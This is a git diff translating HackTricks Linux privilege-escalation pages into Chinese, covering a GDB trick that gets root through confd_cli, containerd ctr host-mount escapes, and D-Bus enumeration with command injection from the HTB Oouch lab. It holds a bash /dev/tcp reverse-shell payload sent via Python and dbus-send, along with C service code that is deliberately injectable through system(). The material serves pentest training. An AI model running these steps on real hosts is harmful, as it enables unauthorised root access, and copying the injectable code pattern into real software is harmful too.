+当我反汇编`/usr/bin/confd_cli`二进制文件时,我观察到了以下内容: ``` vmanage:~$ objdump -d /usr/bin/confd_cli … snipped … @@ -84,46 +77,40 @@ vmanage:~$ objdump -d /usr/bin/confd_cli 4016c4: e8 d7 f7 ff ff callq 400ea0 <*ABS*+0x32e9880f0b@plt> … snipped … ``` - -When I run “ps aux”, I observed the following (_note -g 100 -u 107_) - +当我运行“ps aux”时,我观察到以下内容(_note -g 100 -u 107_) ``` vmanage:~$ ps aux … snipped … root 28644 0.0 0.0 8364 652 ? Ss 18:06 0:00 /usr/lib/confd/lib/core/confd/priv/cmdptywrapper -I 127.0.0.1 -p 4565 -i 1015 -H /home/neteng -N neteng -m 2232 -t xterm-256color -U 1358 -w 190 -h 43 -c /home/neteng -g 100 -u 1007 bash … snipped … ``` +我假设“confd_cli”程序将从登录用户收集的用户 ID 和组 ID 传递给“cmdptywrapper”应用程序。 -I hypothesized the “confd_cli” program passes the user ID and group ID it collected from the logged in user to the “cmdptywrapper” application. +我的第一次尝试是直接运行“cmdptywrapper”,并提供 `-g 0 -u 0`,但失败了。似乎在这个过程中创建了一个文件描述符 (-i 1015),我无法伪造它。 -My first attempt was to run the “cmdptywrapper” directly and supplying it with `-g 0 -u 0`, but it failed. It appears a file descriptor (-i 1015) was created somewhere along the way and I cannot fake it. +正如 synacktiv 的博客中提到的(最后一个例子),`confd_cli` 程序不支持命令行参数,但我可以通过调试器影响它,幸运的是系统中包含 GDB。 -As mentioned in synacktiv’s blog(last example), the `confd_cli` program does not support command line argument, but I can influence it with a debugger and fortunately GDB is included on the system. - -I created a GDB script where I forced the API `getuid` and `getgid` to return 0. Since I already have “vmanage” privilege through the deserialization RCE, I have permission to read the `/etc/confd/confd_ipc_secret` directly. +我创建了一个 GDB 脚本,强制 API `getuid` 和 `getgid` 返回 0。由于我已经通过反序列化 RCE 获得了“vmanage”权限,我有权限直接读取 `/etc/confd/confd_ipc_secret`。 root.gdb: - ``` set environment USER=root define root - finish - set $rax=0 - continue +finish +set $rax=0 +continue end break getuid commands - root +root end break getgid commands - root +root end run ``` - -Console Output: - +控制台输出: ``` vmanage:/tmp$ gdb -x root.gdb /usr/bin/confd_cli GNU gdb (GDB) 8.0.1 @@ -157,5 +144,4 @@ root uid=0(root) gid=0(root) groups=0(root) bash-4.4# ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md b/src/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md index 74f452daf..856e26825 100644 --- a/src/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md +++ b/src/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md @@ -1,10 +1,10 @@ -# Containerd (ctr) Privilege Escalation +# Containerd (ctr) 提权 {{#include ../../banners/hacktricks-training.md}} -## Basic information +## 基本信息 -Go to the following link to learn **what is containerd** and `ctr`: +前往以下链接了解 **什么是 containerd** 和 `ctr`: {{#ref}} ../../network-services-pentesting/2375-pentesting-docker.md @@ -12,38 +12,30 @@ Go to the following link to learn **what is containerd** and `ctr`: ## PE 1 -if you find that a host contains the `ctr` command: - +如果你发现主机包含 `ctr` 命令: ```bash which ctr /usr/bin/ctr ``` - -You can list the images: - +您可以列出图像: ```bash ctr image list REF TYPE DIGEST SIZE PLATFORMS LABELS registry:5000/alpine:latest application/vnd.docker.distribution.manifest.v2+json sha256:0565dfc4f13e1df6a2ba35e8ad549b7cb8ce6bccbc472ba69e3fe9326f186fe2 100.1 MiB linux/amd64 - registry:5000/ubuntu:latest application/vnd.docker.distribution.manifest.v2+json sha256:ea80198bccd78360e4a36eb43f386134b837455dc5ad03236d97133f3ed3571a 302.8 MiB linux/amd64 - ``` - -And then **run one of those images mounting the host root folder to it**: - +然后**运行其中一个镜像,将主机根文件夹挂载到它上**: ```bash ctr run --mount type=bind,src=/,dst=/,options=rbind -t registry:5000/ubuntu:latest ubuntu bash ``` - ## PE 2 -Run a container privileged and escape from it.\ -You can run a privileged container as: - +运行一个特权容器并从中逃逸。\ +您可以通过以下方式运行特权容器: ```bash - ctr run --privileged --net-host -t registry:5000/modified-ubuntu:latest ubuntu bash +ctr run --privileged --net-host -t registry:5000/modified-ubuntu:latest ubuntu bash ``` - -Then you can use some of the techniques mentioned in the following page to **escape from it abusing privileged capabilities**: +然后您可以使用以下页面中提到的一些技术来**利用特权能力逃脱**: {{#ref}} docker-security/ diff --git a/src/linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md b/src/linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md index 5cf9f9815..7ad81f204 100644 --- a/src/linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md +++ b/src/linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md @@ -1,39 +1,36 @@ -# D-Bus Enumeration & Command Injection Privilege Escalation +# D-Bus 枚举与命令注入特权提升 {{#include ../../banners/hacktricks-training.md}} -## **GUI enumeration** +## **GUI 枚举** -D-Bus is utilized as the inter-process communications (IPC) mediator in Ubuntu desktop environments. On Ubuntu, the concurrent operation of several message buses is observed: the system bus, primarily utilized by **privileged services to expose services relevant across the system**, and a session bus for each logged-in user, exposing services relevant only to that specific user. The focus here is primarily on the system bus due to its association with services running at higher privileges (e.g., root) as our objective is to elevate privileges. It is noted that D-Bus's architecture employs a 'router' per session bus, which is responsible for redirecting client messages to the appropriate services based on the address specified by the clients for the service they wish to communicate with. +D-Bus 被用作 Ubuntu 桌面环境中的进程间通信 (IPC) 中介。在 Ubuntu 中,观察到多个消息总线的并发操作:系统总线,主要由 **特权服务用于暴露与系统相关的服务**,以及每个登录用户的会话总线,仅暴露与该特定用户相关的服务。这里的重点主要是系统总线,因为它与以更高特权(例如,root)运行的服务相关,我们的目标是提升特权。值得注意的是,D-Bus 的架构为每个会话总线采用了一个“路由器”,负责根据客户端为其希望与之通信的服务指定的地址,将客户端消息重定向到适当的服务。 -Services on D-Bus are defined by the **objects** and **interfaces** they expose. Objects can be likened to class instances in standard OOP languages, with each instance uniquely identified by an **object path**. This path, akin to a filesystem path, uniquely identifies each object exposed by the service. A key interface for research purposes is the **org.freedesktop.DBus.Introspectable** interface, featuring a singular method, Introspect. This method returns an XML representation of the object's supported methods, signals, and properties, with a focus here on methods while omitting properties and signals. - -For communication with the D-Bus interface, two tools were employed: a CLI tool named **gdbus** for easy invocation of methods exposed by D-Bus in scripts, and [**D-Feet**](https://wiki.gnome.org/Apps/DFeet), a Python-based GUI tool designed to enumerate the services available on each bus and to display the objects contained within each service. +D-Bus 上的服务由它们暴露的 **对象** 和 **接口** 定义。对象可以类比于标准 OOP 语言中的类实例,每个实例由 **对象路径** 唯一标识。该路径类似于文件系统路径,唯一标识服务暴露的每个对象。一个关键的研究接口是 **org.freedesktop.DBus.Introspectable** 接口,具有一个方法 Introspect。该方法返回对象支持的方法、信号和属性的 XML 表示,这里重点关注方法,省略属性和信号。 +为了与 D-Bus 接口进行通信,使用了两个工具:一个名为 **gdbus** 的 CLI 工具,用于在脚本中轻松调用 D-Bus 暴露的方法,以及 [**D-Feet**](https://wiki.gnome.org/Apps/DFeet),一个基于 Python 的 GUI 工具,旨在枚举每个总线上可用的服务并显示每个服务中包含的对象。 ```bash sudo apt-get install d-feet ``` - ![https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-21.png](https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-21.png) ![https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-22.png](https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-22.png) -In the first image services registered with the D-Bus system bus are shown, with **org.debin.apt** specifically highlighted after selecting the System Bus button. D-Feet queries this service for objects, displaying interfaces, methods, properties, and signals for chosen objects, seen in the second image. Each method's signature is also detailed. +在第一张图片中,显示了注册到 D-Bus 系统总线的服务,特别是在选择系统总线按钮后突出显示了 **org.debin.apt**。D-Feet 查询此服务以获取对象,显示所选对象的接口、方法、属性和信号,如第二张图片所示。每个方法的签名也有详细说明。 -A notable feature is the display of the service's **process ID (pid)** and **command line**, useful for confirming if the service runs with elevated privileges, important for research relevance. +一个显著的特点是显示服务的 **进程 ID (pid)** 和 **命令行**,这对于确认服务是否以提升的权限运行非常有用,这对研究的相关性很重要。 -**D-Feet also allows method invocation**: users can input Python expressions as parameters, which D-Feet converts to D-Bus types before passing to the service. +**D-Feet 还允许方法调用**:用户可以输入 Python 表达式作为参数,D-Feet 会将其转换为 D-Bus 类型,然后传递给服务。 -However, note that **some methods require authentication** before allowing us to invoke them. We will ignore these methods, since our goal is to elevate our privileges without credentials in the first place. +但是,请注意 **某些方法需要身份验证**,才能允许我们调用它们。我们将忽略这些方法,因为我们的目标是首先在没有凭据的情况下提升我们的权限。 -Also note that some of the services query another D-Bus service named org.freedeskto.PolicyKit1 whether a user should be allowed to perform certain actions or not. +还要注意,某些服务会查询另一个名为 org.freedeskto.PolicyKit1 的 D-Bus 服务,以确定用户是否应该被允许执行某些操作。 -## **Cmd line Enumeration** +## **命令行枚举** -### List Service Objects - -It's possible to list opened D-Bus interfaces with: +### 列出服务对象 +可以使用以下命令列出打开的 D-Bus 接口: ```bash busctl list #List D-Bus interfaces @@ -57,15 +54,13 @@ org.freedesktop.PolicyKit1 - - - (act org.freedesktop.hostname1 - - - (activatable) - - org.freedesktop.locale1 - - - (activatable) - - ``` +#### 连接 -#### Connections +[来自维基百科:](https://en.wikipedia.org/wiki/D-Bus) 当一个进程建立与总线的连接时,总线会为该连接分配一个特殊的总线名称,称为 _唯一连接名称_。这种类型的总线名称是不可变的——只要连接存在,就保证它们不会改变——更重要的是,它们在总线的生命周期内不能被重用。这意味着对该总线的其他连接将永远不会分配这样的唯一连接名称,即使同一个进程关闭与总线的连接并创建一个新的连接。唯一连接名称很容易识别,因为它们以——否则被禁止的——冒号字符开头。 -[From wikipedia:](https://en.wikipedia.org/wiki/D-Bus) When a process sets up a connection to a bus, the bus assigns to the connection a special bus name called _unique connection name_. Bus names of this type are immutable—it's guaranteed they won't change as long as the connection exists—and, more importantly, they can't be reused during the bus lifetime. This means that no other connection to that bus will ever have assigned such unique connection name, even if the same process closes down the connection to the bus and creates a new one. Unique connection names are easily recognizable because they start with the—otherwise forbidden—colon character. - -### Service Object Info - -Then, you can obtain some information about the interface with: +### 服务对象信息 +然后,您可以通过以下方式获取有关接口的一些信息: ```bash busctl status htb.oouch.Block #Get info of "htb.oouch.Block" interface @@ -94,54 +89,50 @@ AuditLoginUID=n/a AuditSessionID=n/a UniqueName=:1.3 EffectiveCapabilities=cap_chown cap_dac_override cap_dac_read_search - cap_fowner cap_fsetid cap_kill cap_setgid - cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service - cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock - cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot - cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot - cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config - cap_mknod cap_lease cap_audit_write cap_audit_control - cap_setfcap cap_mac_override cap_mac_admin cap_syslog - cap_wake_alarm cap_block_suspend cap_audit_read +cap_fowner cap_fsetid cap_kill cap_setgid +cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service +cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock +cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot +cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot +cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config +cap_mknod cap_lease cap_audit_write cap_audit_control +cap_setfcap cap_mac_override cap_mac_admin cap_syslog +cap_wake_alarm cap_block_suspend cap_audit_read PermittedCapabilities=cap_chown cap_dac_override cap_dac_read_search - cap_fowner cap_fsetid cap_kill cap_setgid - cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service - cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock - cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot - cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot - cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config - cap_mknod cap_lease cap_audit_write cap_audit_control - cap_setfcap cap_mac_override cap_mac_admin cap_syslog - cap_wake_alarm cap_block_suspend cap_audit_read +cap_fowner cap_fsetid cap_kill cap_setgid +cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service +cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock +cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot +cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot +cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config +cap_mknod cap_lease cap_audit_write cap_audit_control +cap_setfcap cap_mac_override cap_mac_admin cap_syslog +cap_wake_alarm cap_block_suspend cap_audit_read InheritableCapabilities= BoundingCapabilities=cap_chown cap_dac_override cap_dac_read_search - cap_fowner cap_fsetid cap_kill cap_setgid - cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service - cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock - cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot - cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot - cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config - cap_mknod cap_lease cap_audit_write cap_audit_control - cap_setfcap cap_mac_override cap_mac_admin cap_syslog - cap_wake_alarm cap_block_suspend cap_audit_read +cap_fowner cap_fsetid cap_kill cap_setgid +cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service +cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock +cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot +cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot +cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config +cap_mknod cap_lease cap_audit_write cap_audit_control +cap_setfcap cap_mac_override cap_mac_admin cap_syslog +cap_wake_alarm cap_block_suspend cap_audit_read ``` +### 列出服务对象的接口 -### List Interfaces of a Service Object - -You need to have enough permissions. - +您需要拥有足够的权限。 ```bash busctl tree htb.oouch.Block #Get Interfaces of the service object └─/htb - └─/htb/oouch - └─/htb/oouch/Block +└─/htb/oouch +└─/htb/oouch/Block ``` - ### Introspect Interface of a Service Object -Note how in this example it was selected the latest interface discovered using the `tree` parameter (_see previous section_): - +注意在这个例子中,选择了使用 `tree` 参数发现的最新接口(_见前一部分_): ```bash busctl introspect htb.oouch.Block /htb/oouch/Block #Get methods of the interface @@ -159,59 +150,51 @@ org.freedesktop.DBus.Properties interface - - - .Set method ssv - - .PropertiesChanged signal sa{sv}as - - ``` +注意接口 `htb.oouch.Block` 的方法 `.Block`(我们感兴趣的那个)。其他列的 "s" 可能意味着它期望一个字符串。 -Note the method `.Block` of the interface `htb.oouch.Block` (the one we are interested in). The "s" of the other columns may mean that it's expecting a string. +### 监控/捕获接口 -### Monitor/Capture Interface +拥有足够的权限(仅有 `send_destination` 和 `receive_sender` 权限是不够的)你可以 **监控 D-Bus 通信**。 -With enough privileges (just `send_destination` and `receive_sender` privileges aren't enough) you can **monitor a D-Bus communication**. - -In order to **monitor** a **communication** you will need to be **root.** If you still find problems being root check [https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/](https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/) and [https://wiki.ubuntu.com/DebuggingDBus](https://wiki.ubuntu.com/DebuggingDBus) +为了 **监控** 一次 **通信** 你需要是 **root**。如果你在成为 root 时仍然遇到问题,请查看 [https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/](https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/) 和 [https://wiki.ubuntu.com/DebuggingDBus](https://wiki.ubuntu.com/DebuggingDBus) > [!WARNING] -> If you know how to configure a D-Bus config file to **allow non root users to sniff** the communication please **contact me**! - -Different ways to monitor: +> 如果你知道如何配置 D-Bus 配置文件以 **允许非 root 用户嗅探** 通信,请 **联系我**! +监控的不同方式: ```bash sudo busctl monitor htb.oouch.Block #Monitor only specified sudo busctl monitor #System level, even if this works you will only see messages you have permissions to see sudo dbus-monitor --system #System level, even if this works you will only see messages you have permissions to see ``` - -In the following example the interface `htb.oouch.Block` is monitored and **the message "**_**lalalalal**_**" is sent through miscommunication**: - +在以下示例中,接口 `htb.oouch.Block` 被监控,并且 **消息 "**_**lalalalal**_**" 通过误传送出**: ```bash busctl monitor htb.oouch.Block Monitoring bus message stream. ‣ Type=method_call Endian=l Flags=0 Version=1 Priority=0 Cookie=2 - Sender=:1.1376 Destination=htb.oouch.Block Path=/htb/oouch/Block Interface=htb.oouch.Block Member=Block - UniqueName=:1.1376 - MESSAGE "s" { - STRING "lalalalal"; - }; +Sender=:1.1376 Destination=htb.oouch.Block Path=/htb/oouch/Block Interface=htb.oouch.Block Member=Block +UniqueName=:1.1376 +MESSAGE "s" { +STRING "lalalalal"; +}; ‣ Type=method_return Endian=l Flags=1 Version=1 Priority=0 Cookie=16 ReplyCookie=2 - Sender=:1.3 Destination=:1.1376 - UniqueName=:1.3 - MESSAGE "s" { - STRING "Carried out :D"; - }; +Sender=:1.3 Destination=:1.1376 +UniqueName=:1.3 +MESSAGE "s" { +STRING "Carried out :D"; +}; ``` +您可以使用 `capture` 代替 `monitor` 将结果保存到 pcap 文件中。 -You can use `capture` instead of `monitor` to save the results in a pcap file. - -#### Filtering all the noise - -If there is just too much information on the bus, pass a match rule like so: +#### 过滤所有噪音 +如果总线上的信息太多,请传递一个匹配规则,如下所示: ```bash dbus-monitor "type=signal,sender='org.gnome.TypingMonitor',interface='org.gnome.TypingMonitor'" ``` - -Multiple rules can be specified. If a message matches _any_ of the rules, the message will be printed. Like so: - +可以指定多个规则。如果消息匹配_任何_规则,消息将被打印。像这样: ```bash dbus-monitor "type=error" "sender=org.freedesktop.SystemToolsBackends" ``` @@ -219,83 +202,73 @@ dbus-monitor "type=error" "sender=org.freedesktop.SystemToolsBackends" ```bash dbus-monitor "type=method_call" "type=method_return" "type=error" ``` +请参阅 [D-Bus documentation](http://dbus.freedesktop.org/doc/dbus-specification.html) 以获取有关匹配规则语法的更多信息。 -See the [D-Bus documentation](http://dbus.freedesktop.org/doc/dbus-specification.html) for more information on match rule syntax. +### 更多 -### More +`busctl` 还有更多选项,[**在这里找到所有选项**](https://www.freedesktop.org/software/systemd/man/busctl.html)。 -`busctl` has even more options, [**find all of them here**](https://www.freedesktop.org/software/systemd/man/busctl.html). - -## **Vulnerable Scenario** - -As user **qtc inside the host "oouch" from HTB** you can find an **unexpected D-Bus config file** located in _/etc/dbus-1/system.d/htb.oouch.Block.conf_: +## **易受攻击的场景** +作为用户 **qtc 在主机 "oouch" 中来自 HTB**,您可以找到一个 **意外的 D-Bus 配置文件**,位于 _/etc/dbus-1/system.d/htb.oouch.Block.conf_: ```xml +"-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN" +"http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd"> - - - + + + - - - - + + + + ``` +注意从之前的配置中,**您需要是用户 `root` 或 `www-data` 才能通过此 D-BUS 通信发送和接收信息**。 -Note from the previous configuration that **you will need to be the user `root` or `www-data` to send and receive information** via this D-BUS communication. - -As user **qtc** inside the docker container **aeb4525789d8** you can find some dbus related code in the file _/code/oouch/routes.py._ This is the interesting code: - +作为用户 **qtc** 在 docker 容器 **aeb4525789d8** 内,您可以在文件 _/code/oouch/routes.py_ 中找到一些与 dbus 相关的代码。这是有趣的代码: ```python if primitive_xss.search(form.textfield.data): - bus = dbus.SystemBus() - block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block') - block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block') +bus = dbus.SystemBus() +block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block') +block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block') - client_ip = request.environ.get('REMOTE_ADDR', request.remote_addr) - response = block_iface.Block(client_ip) - bus.close() - return render_template('hacker.html', title='Hacker') +client_ip = request.environ.get('REMOTE_ADDR', request.remote_addr) +response = block_iface.Block(client_ip) +bus.close() +return render_template('hacker.html', title='Hacker') ``` +如您所见,它正在**连接到 D-Bus 接口**并将“client_ip”发送到**“Block”函数**。 -As you can see, it is **connecting to a D-Bus interface** and sending to the **"Block" function** the "client_ip". +在 D-Bus 连接的另一端,有一些 C 编译的二进制文件在运行。此代码正在**监听** D-Bus 连接**以获取 IP 地址,并通过 `system` 函数调用 iptables** 来阻止给定的 IP 地址。\ +**对 `system` 的调用故意存在命令注入漏洞**,因此像以下这样的有效载荷将创建一个反向 shell:`;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #` -In the other side of the D-Bus connection there is some C compiled binary running. This code is **listening** in the D-Bus connection **for IP address and is calling iptables via `system` function** to block the given IP address.\ -**The call to `system` is vulnerable on purpose to command injection**, so a payload like the following one will create a reverse shell: `;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #` - -### Exploit it - -At the end of this page you can find the **complete C code of the D-Bus application**. Inside of it you can find between the lines 91-97 **how the `D-Bus object path`** **and `interface name`** are **registered**. This information will be necessary to send information to the D-Bus connection: +### 利用它 +在本页的末尾,您可以找到**D-Bus 应用程序的完整 C 代码**。在其中,您可以在第 91-97 行之间找到**如何注册 `D-Bus 对象路径`** **和 `接口名称`**。此信息将是发送信息到 D-Bus 连接所必需的: ```c - /* Install the object */ - r = sd_bus_add_object_vtable(bus, - &slot, - "/htb/oouch/Block", /* interface */ - "htb.oouch.Block", /* service object */ - block_vtable, - NULL); +/* Install the object */ +r = sd_bus_add_object_vtable(bus, +&slot, +"/htb/oouch/Block", /* interface */ +"htb.oouch.Block", /* service object */ +block_vtable, +NULL); ``` - -Also, in line 57 you can find that **the only method registered** for this D-Bus communication is called `Block`(_**Thats why in the following section the payloads are going to be sent to the service object `htb.oouch.Block`, the interface `/htb/oouch/Block` and the method name `Block`**_): - +此外,在第57行中,您可以发现**为此D-Bus通信注册的唯一方法**称为`Block`(_**这就是为什么在接下来的部分中,负载将发送到服务对象`htb.oouch.Block`、接口`/htb/oouch/Block`和方法名`Block`**_): ```c SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED), ``` - #### Python -The following python code will send the payload to the D-Bus connection to the `Block` method via `block_iface.Block(runme)` (_note that it was extracted from the previous chunk of code_): - +以下Python代码将通过`block_iface.Block(runme)`将有效负载发送到D-Bus连接的`Block`方法(_注意它是从前面的代码块中提取的_): ```python import dbus bus = dbus.SystemBus() @@ -305,24 +278,20 @@ runme = ";bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #" response = block_iface.Block(runme) bus.close() ``` - -#### busctl and dbus-send - +#### busctl 和 dbus-send ```bash dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block string:';pring -c 1 10.10.14.44 #' ``` +- `dbus-send` 是一个用于向“消息总线”发送消息的工具 +- 消息总线 – 一种软件,系统通过它使应用程序之间的通信变得简单。它与消息队列相关(消息按顺序排列),但在消息总线中,消息以订阅模型发送,并且速度非常快。 +- “-system” 标签用于表示这是一个系统消息,而不是会话消息(默认情况下)。 +- “–print-reply” 标签用于适当地打印我们的消息,并以人类可读的格式接收任何回复。 +- “–dest=Dbus-Interface-Block” Dbus 接口的地址。 +- “–string:” – 我们希望发送到接口的消息类型。发送消息有几种格式,如双精度、字节、布尔值、整数、对象路径。在这些中,“对象路径”在我们想要将文件路径发送到 Dbus 接口时非常有用。在这种情况下,我们可以使用一个特殊文件(FIFO)来以文件名的形式将命令传递给接口。“string:;” – 这是为了再次调用对象路径,我们放置 FIFO 反向 shell 文件/命令。 -- `dbus-send` is a tool used to send message to “Message Bus” -- Message Bus – A software used by systems to make communications between applications easily. It’s related to Message Queue (messages are ordered in sequence) but in Message Bus the messages are sending in a subscription model and also very quick. -- “-system” tag is used to mention that it is a system message, not a session message (by default). -- “–print-reply” tag is used to print our message appropriately and receives any replies in a human-readable format. -- “–dest=Dbus-Interface-Block” The address of the Dbus interface. -- “–string:” – Type of message we like to send to the interface. There are several formats of sending messages like double, bytes, booleans, int, objpath. Out of this, the “object path” is useful when we want to send a path of a file to the Dbus interface. We can use a special file (FIFO) in this case to pass a command to interface in the name of a file. “string:;” – This is to call the object path again where we place of FIFO reverse shell file/command. - -_Note that in `htb.oouch.Block.Block`, the first part (`htb.oouch.Block`) references the service object and the last part (`.Block`) references the method name._ +_请注意,在 `htb.oouch.Block.Block` 中,第一部分(`htb.oouch.Block`)引用服务对象,最后一部分(`.Block`)引用方法名称。_ ### C code - ```c:d-bus_server.c //sudo apt install pkgconf //sudo apt install libsystemd-dev @@ -336,135 +305,134 @@ _Note that in `htb.oouch.Block.Block`, the first part (`htb.oouch.Block`) refere #include static int method_block(sd_bus_message *m, void *userdata, sd_bus_error *ret_error) { - char* host = NULL; - int r; +char* host = NULL; +int r; - /* Read the parameters */ - r = sd_bus_message_read(m, "s", &host); - if (r < 0) { - fprintf(stderr, "Failed to obtain hostname: %s\n", strerror(-r)); - return r; - } +/* Read the parameters */ +r = sd_bus_message_read(m, "s", &host); +if (r < 0) { +fprintf(stderr, "Failed to obtain hostname: %s\n", strerror(-r)); +return r; +} - char command[] = "iptables -A PREROUTING -s %s -t mangle -j DROP"; +char command[] = "iptables -A PREROUTING -s %s -t mangle -j DROP"; - int command_len = strlen(command); - int host_len = strlen(host); +int command_len = strlen(command); +int host_len = strlen(host); - char* command_buffer = (char *)malloc((host_len + command_len) * sizeof(char)); - if(command_buffer == NULL) { - fprintf(stderr, "Failed to allocate memory\n"); - return -1; - } +char* command_buffer = (char *)malloc((host_len + command_len) * sizeof(char)); +if(command_buffer == NULL) { +fprintf(stderr, "Failed to allocate memory\n"); +return -1; +} - sprintf(command_buffer, command, host); +sprintf(command_buffer, command, host); - /* In the first implementation, we simply ran command using system(), since the expected DBus - * to be threading automatically. However, DBus does not thread and the application will hang - * forever if some user spawns a shell. Thefore we need to fork (easier than implementing real - * multithreading) - */ - int pid = fork(); +/* In the first implementation, we simply ran command using system(), since the expected DBus +* to be threading automatically. However, DBus does not thread and the application will hang +* forever if some user spawns a shell. Thefore we need to fork (easier than implementing real +* multithreading) +*/ +int pid = fork(); - if ( pid == 0 ) { - /* Here we are in the child process. We execute the command and eventually exit. */ - system(command_buffer); - exit(0); - } else { - /* Here we are in the parent process or an error occured. We simply send a genric message. - * In the first implementation we returned separate error messages for success or failure. - * However, now we cannot wait for results of the system call. Therefore we simply return - * a generic. */ - return sd_bus_reply_method_return(m, "s", "Carried out :D"); - } - r = system(command_buffer); +if ( pid == 0 ) { +/* Here we are in the child process. We execute the command and eventually exit. */ +system(command_buffer); +exit(0); +} else { +/* Here we are in the parent process or an error occured. We simply send a genric message. +* In the first implementation we returned separate error messages for success or failure. +* However, now we cannot wait for results of the system call. Therefore we simply return +* a generic. */ +return sd_bus_reply_method_return(m, "s", "Carried out :D"); +} +r = system(command_buffer); } /* The vtable of our little object, implements the net.poettering.Calculator interface */ static const sd_bus_vtable block_vtable[] = { - SD_BUS_VTABLE_START(0), - SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED), - SD_BUS_VTABLE_END +SD_BUS_VTABLE_START(0), +SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED), +SD_BUS_VTABLE_END }; int main(int argc, char *argv[]) { - /* - * Main method, registeres the htb.oouch.Block service on the system dbus. - * - * Paramaters: - * argc (int) Number of arguments, not required - * argv[] (char**) Argument array, not required - * - * Returns: - * Either EXIT_SUCCESS ot EXIT_FAILURE. Howeverm ideally it stays alive - * as long as the user keeps it alive. - */ +/* +* Main method, registeres the htb.oouch.Block service on the system dbus. +* +* Paramaters: +* argc (int) Number of arguments, not required +* argv[] (char**) Argument array, not required +* +* Returns: +* Either EXIT_SUCCESS ot EXIT_FAILURE. Howeverm ideally it stays alive +* as long as the user keeps it alive. +*/ - /* To prevent a huge numer of defunc process inside the tasklist, we simply ignore client signals */ - signal(SIGCHLD,SIG_IGN); +/* To prevent a huge numer of defunc process inside the tasklist, we simply ignore client signals */ +signal(SIGCHLD,SIG_IGN); - sd_bus_slot *slot = NULL; - sd_bus *bus = NULL; - int r; +sd_bus_slot *slot = NULL; +sd_bus *bus = NULL; +int r; - /* First we need to connect to the system bus. */ - r = sd_bus_open_system(&bus); - if (r < 0) - { - fprintf(stderr, "Failed to connect to system bus: %s\n", strerror(-r)); - goto finish; - } +/* First we need to connect to the system bus. */ +r = sd_bus_open_system(&bus); +if (r < 0) +{ +fprintf(stderr, "Failed to connect to system bus: %s\n", strerror(-r)); +goto finish; +} - /* Install the object */ - r = sd_bus_add_object_vtable(bus, - &slot, - "/htb/oouch/Block", /* interface */ - "htb.oouch.Block", /* service object */ - block_vtable, - NULL); - if (r < 0) { - fprintf(stderr, "Failed to install htb.oouch.Block: %s\n", strerror(-r)); - goto finish; - } +/* Install the object */ +r = sd_bus_add_object_vtable(bus, +&slot, +"/htb/oouch/Block", /* interface */ +"htb.oouch.Block", /* service object */ +block_vtable, +NULL); +if (r < 0) { +fprintf(stderr, "Failed to install htb.oouch.Block: %s\n", strerror(-r)); +goto finish; +} - /* Register the service name to find out object */ - r = sd_bus_request_name(bus, "htb.oouch.Block", 0); - if (r < 0) { - fprintf(stderr, "Failed to acquire service name: %s\n", strerror(-r)); - goto finish; - } +/* Register the service name to find out object */ +r = sd_bus_request_name(bus, "htb.oouch.Block", 0); +if (r < 0) { 